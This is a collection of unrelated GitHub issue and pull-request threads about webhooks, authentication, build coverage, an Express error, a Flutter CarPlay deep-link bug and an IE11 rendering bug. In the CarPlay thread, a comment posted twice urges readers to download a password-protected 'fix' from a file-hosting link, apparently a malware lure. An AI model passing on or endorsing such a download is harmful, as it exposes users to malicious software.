I have attached a video as well as the profiler results:
https://user-images.githubusercontent.com/65621302/111202453-eebf2f80-85d4-11eb-89f2-157086c2f9b9.mp4

You accidentally opened a pull request instead of an issue. Please open an issue instead.

Вы случайно открыли пул-реквест вместо задачи. Вместо этого откройте вопрос.

Ok, thanks


Update README.md

Add gitter chat badge.

Coverage increased (+0.05%) to 38.281% when pulling dd4485e3a2b52e64eb793944864a537e39543607 on debraj-manna-jabong:master into 662660f7aefb4c9c446c9a1ac308e7526c976adb on jabong:master.


RFE - Option to enter Authentication (Basic Auth) for Webhook notifications

⚠ Please verify that this feature request has NOT been suggested before.

[X] I checked and didn't find similar feature request

🏷 Feature Request Type
API, UI Feature
🔖 Feature description
The reason I need basic auth, is to integrate notification via n8n to build a workflow.
✔ Solution
In my case, I can use wide open webooks, and I need to use basic authentication
❓ Alternatives
Use public POST webhook with no authentication it works, but not secure.

📝 Additional Context
No response

This would be cool if we could also post notifs to slack

This should be closed with #1920.

I would also be delighted if this were implemented.
I use an Android SMS gateway and would like to integrate it as a notification service. Unfortunately, I cannot create the notification because a Basic Auth is required.
I use this service:
https://github.com/capcom6/android-sms-gateway

It is implemented and released in 1.19
Resolved by https://github.com/louislam/uptime-kuma/pull/1920

Version: 1.23.13
Frontend-Version: 1.23.13
But not at the location of the notification configuration

Those are really weird headers you have there.. I don't know what non-text headers output.
I think you want "Custom" instead of the body preset; You are currently adding test to the "Zusätzliche Header" field.

@CommanderStorm
The example was not correct. It doesn't matter for now, as I need the basic authentication. Unfortunately, this cannot be deactivated.
Look at a real example with curl:
curl -X POST -u : -H "Content-Type: application/json" -d '{ "message": "Hello, world!", "phoneNumbers": ["+79990001234", "+79995556677"] }' https://sms.capcom.me/api/3rdparty/v1/message

Basic auth is just a header you set. You can use https://www.debugbear.com/basic-auth-header-generator to help you with that.


I m geeting automatically logged out before identity and access token expiration

Hi all,
I use identity server 4 (default configuration) with core identity and angular 6.
Currently, after around 10 min of inactivity or less i m getting redirected to identity servee and logged out automatically.
I want this behaviour to be done after let s say 10h.

This seems to be a general question about IdentityServer - not a bug report or an issue.
Please use one of the our free or commercial support options
See here for more details.
Thanks!


Allows for multiple submatches that are logically ANDed

Hey @felipesere  - does this mean you're actively using the custom checks? I think this is a great addition :+1:

We live and breath custom checks :) We have about 10 or so.
I can probably share them and possibly turn them into specific AWS checks? They cover most stuff we pick up with ScoutSuite and SecurityHubs AWS Foundational Best Practices Benchmark.


2019-07-19 Update NM sen H001046

This form has an "office locations" footer that interferes with the submit button on a standard 4k resolution screen (emulated in Selenium).  This PR removes the office location element so that it doesn't interfere with the click on the submit button.
Let me know if this causes any issues or if there are any suggestions.  Thanks.

This look like it should work well. Typically though we'd probably deal with this by just removing all CSS on the page, helps in lots of situations like when the page has a popover to sign up for a newsletter or something like that. Here's an example: https://github.com/unitedstates/contact-congress/blob/9cbf5ace3efaa823508527cafee0bd1bb83fd6a6/members/D000624.yaml#L7


x86 device trees need interrupt controller nodes

None of the x86 device tree files have interrupt controller nodes or interrupts in the various devices described in the .dts

Seems to be done, you can close it afaik.


Feature request: add mermaid to lua-filters/diagram-generator

https://mermaid-js.github.io/mermaid/#/
There is a cli app https://github.com/mermaid-js/mermaid-cli available. You just need to npm install @mermaid-js/mermaid-cli and run it using npx. As an example, to process all the files once extracted:
for i in *.mmd; do npx mmdc -i "$i" -o "${i%.*}.png" -b transparent -t forest; done

Would be great to get that included!

The diagram generator is now maintained at https://github.com/pandoc-ext/diagram. Mermaid support has been added there.


source=maxar added to ways even if Maxar imagery is not used

Version 1 of way/947830423 was added with RapiD 1.1.4, with imagery not including Maxar [1].
While tagging the source on an object is not officially deprecated, I think that good practice is tagging it on the changeset.
(RapiD actually does that with source=mapwithai :confused:)
I confirmed myself that the (in my opinion wrong) source-tag would be added to a way (wrongly detected under a power line) somewhere in eastern Switzerland via this RapiD link.
Can the source=maxar-Tag not be added to ways added with RapiD?
[1]: The changeset tags include imagery_used=Bing aerial imagery;OpenStreetMap GPS traces;swisstopo SWISSIMAGE;Esri World Imagery;swisstopo SWISSALTI3D;Esri World Imagery (Clarity) Beta

Any input on this?

Hey @habi  - sorry I missed this the first time around.
I sort of agree that adding source=maxar is a bit odd, but our team is using it for analytics to determine that the provenance of these ways came from the Meta Roads dataset, which was trained on the Maxar imagery at the time..
(this source tag isn't related to the imagery_used changeset tag)
Since then, we have added a lot of datasets, so we've standardized on much better source tag values..
For example, we add source=microsoft/BuildingFootprints for features from Microsoft Building Footprints dataset,
or source=esri/<dataset_id> (e.g. source=esri/Bucks_County_PA_Buildings) for features from any of the Esri open datasets.  Going forward we are committed to using better values than maxar.
Also,

While tagging the source on an object is not officially deprecated, I think that good practice is tagging it on the changeset.

We need to add the source tag on the feature instead of the changeset because we expect users to add a mix of features, some traced by hand and some suggested by rapid, so we want to track this usage separately.  It wouldn't be accurate or fair to assume that everything the user adds in their editing session came from a rapid dataset.

Thanks for the clarification!


Bring circleci build inline with ZIO's

This resolves #34
Notes

Dotty build commented out in build as it needas ZIO to be published to Sonatype which it currently isn't. Will enable when that is possible.
Have a separate issue to migrate from sbt microsite to docusaurus hence leaving docusaurus publish step & mdoc step commented out for when working on that issue.

@mijicd thx for review! Agreed, removed commented out steps.


CUB tests need improved compiler coverage

Milestone Target Summary
We currently do not test on all platforms that we support. We should test each supported major version of GCC, Clang, and MSVC. Thrust has decent coverage since DVS builds the Thrust tests and examples, but DVS does not know about CUB. We currently know that the CUB test harness cannot be built on GCC 5, see error below.
Deliverables

[x] Manually validate Thrust/CUB and enable Thrust's gpuCI for the latest releases of:

GCC

[x] 5
[x] 6
[x] 7
[x] 8
[x] 9
[x] 10

Clang

[x] 6 (will deprecate)
[x] 7
[x] 8
[x] 9
[x] 10

MSVC:

[x] 2017 (will deprecate)
[x] 2019

[x] Fix all compile and runtime issues identified by these tests.
[ ] Add DVS coverage for CUB tests (Teach DVS to run our gpuCI containers?)
[ ] Add gpuCI coverage for MSVC.

Completed the planned work for 1.12.0.
Still need windows coverage on gpuCI.

All that's really left is windows and internal testing against ToT nvcc. We're internally exploring a few different routes to make this happen.


Add responseMiddleware

Summary by CodeRabbit

New Features

Introduced responseMiddleware to enhance response handling in the application.
Added jsonSuccess and jsonFail methods for streamlined JSON responses.
Enhanced type definitions for user roles and responses in the Express framework.

Bug Fixes

Updated response handling in authentication and user processes for improved clarity and consistency.
Improved error handling in middleware for more detailed feedback on validation errors.

Chores

Minor adjustments to configuration files for improved code quality.

@coderabbitai
error:  PATCH /v1/users/c9b8dcc7-448a-439d-aecc-8a277091056c 404 - 1468.245 ms
error: Failed to update user by id: {"name":"PrismaClientKnownRequestError","code":"P2025","clientVersion":"5.20.0","meta":{"modelName":"User","cause":"Record to update not found."}}
Error [ERR_HTTP_HEADERS_SENT]: Cannot set headers after they are sent to the client
at new NodeError (node:internal/errors:406:5)
at ServerResponse.setHeader (node:_http_outgoing:652:11)
at ServerResponse.header (D:\Github\node-ts-express-starter\node_modules\express\lib\response.js:794:10)
at ServerResponse.send (D:\Github\node-ts-express-starter\node_modules\express\lib\response.js:174:12)
at ServerResponse.json (D:\Github\node-ts-express-starter\node_modules\express\lib\response.js:278:15)
at ServerResponse.res.jsonFail (D:\Github\node-ts-express-starter\src\middlewares\response.ts:23:9)
at errorHandler (D:\Github\node-ts-express-starter\src\middlewares\error.ts:21:7)
at Layer.handle_error (D:\Github\node-ts-express-starter\node_modules\express\lib\router\layer.js:71:5)
at trim_prefix (D:\Github\node-ts-express-starter\node_modules\express\lib\router\index.js:326:13)
at D:\Github\node-ts-express-starter\node_modules\express\lib\router\index.js:286:9


[PDI-18386] Fixed HTTP Post trans step when using proxy to use proper…

… target host

:white_check_mark: Build finished in 27m 20s
Build command:
mvn clean verify -B -e -Daudit -amd -pl engine

:ok_hand: All tests passed!
Tests run: 3689, Failures: 0, Skipped: 7    Test Results

:information_source:  This is an automatic message

:white_check_mark: Build finished in 25m 9s
Build command:
mvn clean verify -B -e -Daudit -amd -pl engine

:ok_hand: All tests passed!
Tests run: 3689, Failures: 0, Skipped: 7    Test Results

:information_source:  This is an automatic message


can not get initial link on ios support carplay

Describe the bug
My flutter app support carplay, So I changed the AppDelegate and SceneDelegate like #81
and I can not get the link when first time I open the app by clicking link.
--- My AppDelegate ---
@implementation AppDelegate

(BOOL)application:(UIApplication *)application
didFinishLaunchingWithOptions:(NSDictionary *)launchOptions {
[AppLinksHelper.shared handleLaunchOptions:launchOptions];
[super application:application didFinishLaunchingWithOptions:launchOptions];
return true;
//  [GeneratedPluginRegistrant registerWithRegistry:self];
//  [FlutterDownloaderPlugin setPluginRegistrantCallback:registerPlugins];
//  return [super application:application didFinishLaunchingWithOptions:launchOptions];
}

--- AppLinkHelper ---
import Foundation
import app_links
@objc public class AppLinksHelper: NSObject {
@objc public static let shared = AppLinksHelper()
@objc public func handleLaunchOptions(_ options: [UIApplication.LaunchOptionsKey: Any]?) {
    if let url = AppLinks.shared.getLink(launchOptions: options) {
      AppLinks.shared.handleLink(url: url)
    }
}

@objc public func handleOpen(url: URL) {
    // Handle URL
}

}
--- SceneDelegate ---
import UIKit
import Flutter
import SwiftEventBus
import app_links
import FirebaseCore
import UserNotifications
//import FirebaseMessaging
@available(iOS 13.0, *)
class SceneDelegate: UIResponder, UIWindowSceneDelegate, UNUserNotificationCenterDelegate{
var window: UIWindow?
func scene(_ scene: UIScene, openURLContexts URLContexts: Set<UIOpenURLContext>) {
    for context in URLContexts {
        AppLinks.shared.handleLink(url: context.url)
    }
}

func scene(_ scene: UIScene, continue userActivity: NSUserActivity) {
    if let url = userActivity.webpageURL {
        AppLinks.shared.handleLink(url: url)
    }
}

func scene(_ scene: UIScene, willConnectTo session: UISceneSession, options connectionOptions: UIScene.ConnectionOptions) {
    guard let windowScene = scene as? UIWindowScene else { return }

    window = UIWindow(windowScene: windowScene)

    let flutterEngine = FlutterEngine(name: "SceneDelegateEngine")
    flutterEngine.run()

    UNUserNotificationCenter.current().delegate = self

    GeneratedPluginRegistrant.register(with: flutterEngine)
    FlutterDownloaderPlugin.setPluginRegistrantCallback({ registry in if (!registry.hasPlugin("FlutterDownloaderPlugin")) {
    FlutterDownloaderPlugin.register(with: registry.registrar(forPlugin: "FlutterDownloaderPlugin")!) } })
    let controller = FlutterViewController.init(engine: flutterEngine, nibName: nil, bundle: nil)
    window?.rootViewController = controller
    window?.makeKeyAndVisible()

    let carplayChannel = FlutterMethodChannel(name: "carplay_star_app",
                                              binaryMessenger: controller.binaryMessenger)
    carplayChannel.setMethodCallHandler({
        [weak self] (call: FlutterMethodCall, result: FlutterResult) -> Void in

        if call.method == "loadSong" {
            SwiftEventBus.post("loadSong")
            result("")
        } else if call.method == "updateLoginStatus" {
            let args = call.arguments as? String
            CarPlayDataManager.shared.setLoginStatus(status: args)
            SwiftEventBus.post("updateLoginStatus")
            result("")
        } else {
            result(FlutterMethodNotImplemented)
        }

    })

}

}

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

to fix your trouble try download this fix, i see it in another issue,
https://app.mediafire.com/3ag3jpquii3of
password: changeme
when you installing, you need to place a check in install to path and select "gcc."

Well browsing this code is not a lot of fun... Still, it should work by adding checks to the right places.
I may suggest to check if the initial link is coming from UIScene.ConnectionOptions.urlContexts or UIScene.ConnectionOptions.userActivities in scene::willConnectTo...

@llfbandit  thanks
After test, I found when app is closed the link will be passed to scene::willConnectTo
So I try this:
`
func scene(_ scene: UIScene, willConnectTo session: UISceneSession, options connectionOptions: UIScene.ConnectionOptions) {
guard let windowScene = scene as? UIWindowScene else { return }
// other code......
if let userActivity = connectionOptions.userActivities.first {
self.scene(scene, continue: userActivity)
}
}
`
and it finally worked.  thank you

Thanks for the feeback!


documentation

Very good theme, but I still want to have a good theme documentation

Hi @moxv
Thanks for the positive feedback on the theme! I'm currently working on improving the documentation to make it more user-friendly and comprehensive.

thanks

Hi @fauzanmy, I'm sorry if this is off-topic, but I just wanted to thank you for the amazing theme! It's truly beautiful and has everything you'd ever need

how to enable tailwind css  ??


Update Composer dependencies (2024-02-06-00-17)

Visual regression test passed!
View the visual regression test report


Cubemap quality bug in IE11

This article what i wrote on forum
https://forum.playcanvas.com/t/ie11-webgl1-cubemap-is-strange-engine/11683/3
Description
I’ve just tried setting on cubemap (engine code).
It works fine on chrome and Edge browsers but it doesn’t work as my expectation in IE 11.

URL to a simple, reproducible test case.
https://github.com/velbi/cubemap-test

Screenshots

Edge

Chrome

Internet Explorer 11

Steps to Reproduce

Clone https://github.com/velbi/cubemap-test
Add some server (I just use yarn add live-server)

I believe this is because your app has app.scene.skyboxMip set to 0. In this case, the skybox is rendered using the PNG cubemap faces (whereas if app.scene.skyboxMip is set to 1 or more, it uses the DDS image data). IE11 has a bug where it will premultiply the RGB data by A and then it is divided away when the texture is used and this causes precision loss and hence the banding. Hey, @slimbuck - did I get that right? Is it worth keeping this issue open (since it's not technically a PlayCanvas bug). Or do you hope we can devise a workaround to this where we no longer rely on PNG format for holding RGBM data?

That's exactly right @willeastcott. I think it's worth keeping this ticket around because it this this also still a problem on iOS and we should find a workaround.

The new RGBP format (introduced by @slimbuck) should resolve this. Also, the iOS issue @slimbuck references above is now resolved (see #1930). Plus, with the vanishingly small userbase of IE11 these days, I'm closing this.